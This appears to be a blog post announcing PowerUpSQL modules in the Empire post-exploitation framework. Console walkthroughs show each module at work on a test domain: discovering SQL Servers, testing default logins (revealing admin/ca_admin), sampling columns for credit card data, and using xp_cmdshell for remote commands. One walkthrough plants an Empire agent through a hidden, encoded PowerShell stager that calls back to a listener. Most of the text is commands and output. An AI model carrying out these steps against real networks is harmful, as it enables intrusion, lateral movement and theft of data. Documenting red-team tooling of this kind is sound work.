Expanding the Empire with SQL

The core of PowerUpSQL is now in Empire.

We have added the following modules to Empire:

- Get-SQLInstanceDomain
  - powershell/situational_awareness/network/get_sql_instance_domain
- Get-SQLServerInfo
  - powershell/situational_awareness/network/get_sql_server_info
- Get-SQLServerDefaultLoginPW
  - powershell/recon/get_sql_server_login_default_pw
- Get-SQLQuery
  - powershell/collection/get_sql_query
- Get-SQLColumnSampleData
  - powershell/collection/get_sql_column_sample_data
- Invoke-SQLOSCmd
  - powershell/lateral_movement/invoke_sqloscmd

Let's quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.

Get-SQLInstanceDomain

The first module, Get-SQLInstanceDomain, is used for querying Active Directory for a list of SQL Servers by looking up their SPNs. In Empire, it is used in the following way:

```
(Empire: NCH9K51L) > usemodule
situational_awareness/network/get_sql_instance_domain
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
options

 Name: Get-SQLInstanceDomain
            Module:
powershell/situational_awareness/network/get_sql_instance_domain
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju
```

```
Description:
 Returns a list of SQL Server instances discovered by
 querying a domain controller for systems with registered
 MSSQL service principal names. The function will default to
 the current user's domain and logon server, but an
 alternative domain controller can be provided. UDP scanning
 of management servers is optional.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:
Options:

 Name                Required   Value                   Description
 ----                --------   -------                 -----------
 UDPTimeOut          False 3                            Timeout in seconds
for UDP scans of
                                                        management servers.
Longer timeout =
                                                        more accurate.
 Username            False                              SQL Server or domain
account to
                                                        authenticate with.
 ComputerName        False                              Computer name to
filter for.
 DomainController    False                              Domain controller
for Domain and Site
                                                        that you want to
query against.
 DomainServiceAccount False                             Domain account to
filter for.
 Password            False                              SQL Server or domain
account password to
                                                        authenticate with.
 CheckMgmt           False      False                   Performs UDP scan of
servers managing
                                                        SQL Server clusters.
 Agent               True       NCH9K51L                Agent to run module
on.

(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: 2T8P1H
Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
```

```
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433
DomainAccountSid : 150000052100024313467129218212220499968119220731 00
DomainAccount    : SQL-2012$
DomainAccountCn  : SQL-2012
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql-2012.test.local:1433
LastLogon        : 2/22/2017 6:51 PM
Description      : VM with SQL Server 2012 installed
...
```

In some instances, UDP scanning servers with the MSServerClusterMgmtAPI SPN will yield additional result.

```
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
set CheckMgmt True
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: CYS4KA

Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
Grabbing SPNs from the domain for Servers managing SQL Server clusters
(MSServerClusterMgmtAPI)...
Performing a UDP scan of management servers to obtain managed SQL Server
instances...
Parsing SQL Server instances from the UDP scan...
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,50213
...
```

Get-SQLServerInfo

The next module, Get-SqlServerInfo, is used for gathering information about each SQL instance. This module, due to PowerShell variable limitations within Empire, can either be used against a single instance or against all instances in the Domain. To run it against a single instance, specify the instance using the Instance parameter.

```
(Empire: NCH9K51L) > usemodule
```

```
situational_awareness/network/get_sql_server_info
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
options


              Name: Get-SQLServerInfo
            Module:
powershell/situational_awareness/network/get_sql_server_info
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju

Description:
 Returns basic server and user information from target SQL
 Servers.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:

 Name     Required    Value                   Description
 ----     --------    -------                 -----------
 Username False                               SQL Server or domain account to
                                              authenticate with.
 Instance False                               SQL Server instance to
connection to.
 Password False                               SQL Server or domain account
password to
                                              authenticate with.
 Agent    True        NCH9K51L                Agent to run module on.
 CheckAll False                               Check all systems retrieved by
Get-
                                              SQLInstanceDomain


(Empire: powershell/situational_awareness/network/get_sql_server_info) > set
Instance sql-2012.test.local
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
```

```
Job started: MY3AH7

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0
```

To query all instances of SQL servers in the Domain, set the CheckAll flag to true. This will run Get-SqlInstanceDomain and pipe the results into Get-SqlServerInfo.

```
(Empire: powershell/situational_awareness/network/get_sql_server_info) > set
CheckAll True
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: 7KDR1S

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0
```

```
ComputerName           : sqlexpress.test.local
Instance               : sqlexpress\SQLEXPRESS
DomainName             : test
ServiceName            : MSSQL$SQLEXPRESS
ServiceAccount         : NT Service\MSSQL$SQLEXPRESS
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.5540.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Express Edition (64-bit)
SQLServerServicePack   : SP2
OSArchitecture         : X64
OsMachineType          :
OSVersionName          :
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : No
ActiveSessions         : 0
...
```

Get-SqlServerDefaultLoginPW

The module Get-SqlServerDefaultLoginPW will scan the Domain for default SQL server logins. As with the other modules, this one also supports the CheckAll flag to run across the Domain.

```
(Empire: powershell/recon/get_sql_server_login_default_pw) > usemodule
powershell/recon/get_sql_server_login_default_pw
(Empire: powershell/recon/get_sql_server_login_default_pw) > options

              Name: Get-SQLServerLoginDefaultPw
            Module: powershell/recon/get_sql_server_login_default_pw
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Based on the instance name, test if SQL Server is configured
  with default passwords.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
```

```
  ps1 https://github.com/pwnwiki/pwnwiki.github.io/blob/master
  /tech/db/mssql.md

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Username False                                 SQL Server or domain account
to
                                                 authenticate with. Only used
for
                                                 CheckAll
  Instance False                                 SQL Server instance to
connection to.
  Password False                                 SQL Server or domain account
password to
                                                 authenticate with. Only used
for
                                                 CheckAll
  Agent    True        NCH9K51L                  Agent to run module on.
  CheckAll False                                 Check all systems retrieved by
Get-
                                                 SQLInstanceDomain.

(Empire: powershell/recon/get_sql_server_login_default_pw) > set Instance
sqlexpress.test.local\SQLEXPRESS
(Empire: powershell/recon/get_sql_server_login_default_pw) > run
(Empire: powershell/recon/get_sql_server_login_default_pw) >
Job started: RMNTG5

sql-2012.test.local\sqlexpress : Confirmed instance match.
sql-2012.test.local\sqlexpress : Confirmed default credentials - admin/ca_admin
Computer   : sqlexpress.test.local
Instance   : sqlexpress.test.local\SQLEXPRESS
Username   : admin
Password   : ca_admin
IsSysAdmin : No
```

Get-SqlQuery

The next module, Get-SqlQuery, will preform a generic SQL query on the specified instance. It is used in the following way:

```
(Empire: NCH9K51L) > usemodule collection/get_sql_query
(Empire: powershell/collection/get_sql_query) > options

              Name: Get-SQLQuery
            Module: powershell/collection/get_sql_query
```

```
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Executes a query on target SQL servers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name     Required    Value                   Description
  ----     --------    -------                 -----------
  Username False                               SQL Server or domain account
to
                                               authenticate with.
  Instance False                               SQL Server instance to
connection to.
  Password False                               SQL Server or domain account
password to
                                               authenticate with.
  Agent    True        NCH9K51L                Agent to run module on.
  Query    True                                Query to be executed on the
SQL Server.

(Empire: powershell/collection/get_sql_query) > set Instance
sql-2012.test.local
(Empire: powershell/collection/get_sql_query) > set Query SELECT @@VERSION
(Empire: powershell/collection/get_sql_query) > run
(Empire: powershell/collection/get_sql_query) >
Job started: PDAHEY

sql-2012.test.local : Connection Success.
Microsoft SQL Server 2012 (SP3-GDR) (KB3194721) - 11.0.6248.0 (X64)
        Sep 23 2016 15:49:43
        Copyright (c) Microsoft Corporation
        Developer Edition (64-bit) on Windows NT 6.3  (Build 14393: )
```

Get-SqlColumnSampleData

The next module is one of the most powerful modules within PowerUpSQL. Get-SqlColumnSampleData queries databases for columns and then based upon keywords, pulls down column data for analysis. This module has been particularly useful on PCI engagements to search for plain text credit card info. It is generally recommended to just run this module against all instances.

```
(Empire: NCH9K51L) > usemodule powershell/collection/get_sql_column_sample_data
(Empire: powershell/collection/get_sql_column_sample_data) > options

              Name: Get-SQLColumnSampleData
            Module: powershell/collection/get_sql_column_sample_data
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Returns column information from target SQL Servers. Supports
  search by keywords, sampling data, and validating credit
  card numbers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name       Required    Value                   Description
  ----       --------    -------                 -----------
  Username   False                               SQL Server or domain account
to
                                                  authenticate with.
  CheckAll   False                               Check all systems retrieved
by Get-
                                                  SQLInstanceDomain.
  NoDefaults False                               Don't select tables from
default
                                                  databases.
  Agent      True        NCH9K51L                Agent to run module on.
  Instance   False                               SQL Server instance to
connection to.
```

```
  Password   False                                     SQL Server or domain account
password to
                                                     authenticate with.


(Empire: powershell/collection/get_sql_column_sample_data) > set Instance
sql-2012.test.local
(Empire: powershell/collection/get_sql_column_sample_data) > set NoDefaults
True
(Empire: powershell/collection/get_sql_column_sample_data) > run
(Empire: powershell/collection/get_sql_column_sample_data) >
Job started: PR61EX

sql-2012.test.local : START SEARCH DATA BY COLUMN
sql-2012.test.local : - Connection Success.
sql-2012.test.local : - Searching for column names that match criteria...
sql-2012.test.local : - No columns were found that matched the search.
sql-2012.test.local : END SEARCH DATA BY COLUMN
```

Hopefully your results are better.

Invoke-SqlOsCmd

Now for the party favorite, Invoke-SqlOsCmd. This leverages xp_cmdshell to run commands on the remote system in the context of the SQL Server user.

```
(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options

              Name: Invoke-SQLOSCMD
            Module: powershell/lateral_movement/invoke_sqloscmd
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @nullbind
  @0xbadjuju

Description:
  Executes a command or stager on remote hosts using
  xp_cmdshell.

Options:
```

```
  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   False                                 Listener to use.
  CredID     False                                 CredID from the store to
use.
  Command    False                                 Custom command to execute on
remote
                                                   hosts.
  Proxy      False       default                   Proxy to use for request
(default, none,
                                                   or other).
  UserName   False                                 [domain\]username to use to
execute
                                                   command.
  Instance   True                                  Host[s] to execute the
stager on, comma
                                                   separated.
  UserAgent  False       default                   User-agent string to use for
the staging
                                                   request (default, none, or
other).
  ProxyCreds False       default                   Proxy credentials
                                                   ([domain\]username:password)
to use for
                                                   request (default, none, or
other).
  Password   False                                 Password to use to execute
command.
  Agent      True        NCH9K51L                  Agent to run module on.
```

This module has two methods for running. The first is to simply run a user specified command on the remote system.

```
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance
sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
```

```
sql-2012.test.local : Running command: whoami

nt service\mssqlserver

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
```

However, this is the Empire, why not just place an agent on the remote system? Well we can natively do that as well.

```
(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command:
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -NonI -W
Hidden -Enc [TRUNCATED]

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options

(Empire: powershell/lateral_movement/invoke_sqloscmd) >
```

SELECT * FROM PowerUpSQL WHERE dark_side > light_side;

In the future, as we add modules to PowerUpSQL, we expect to continue to add them to Empire as well.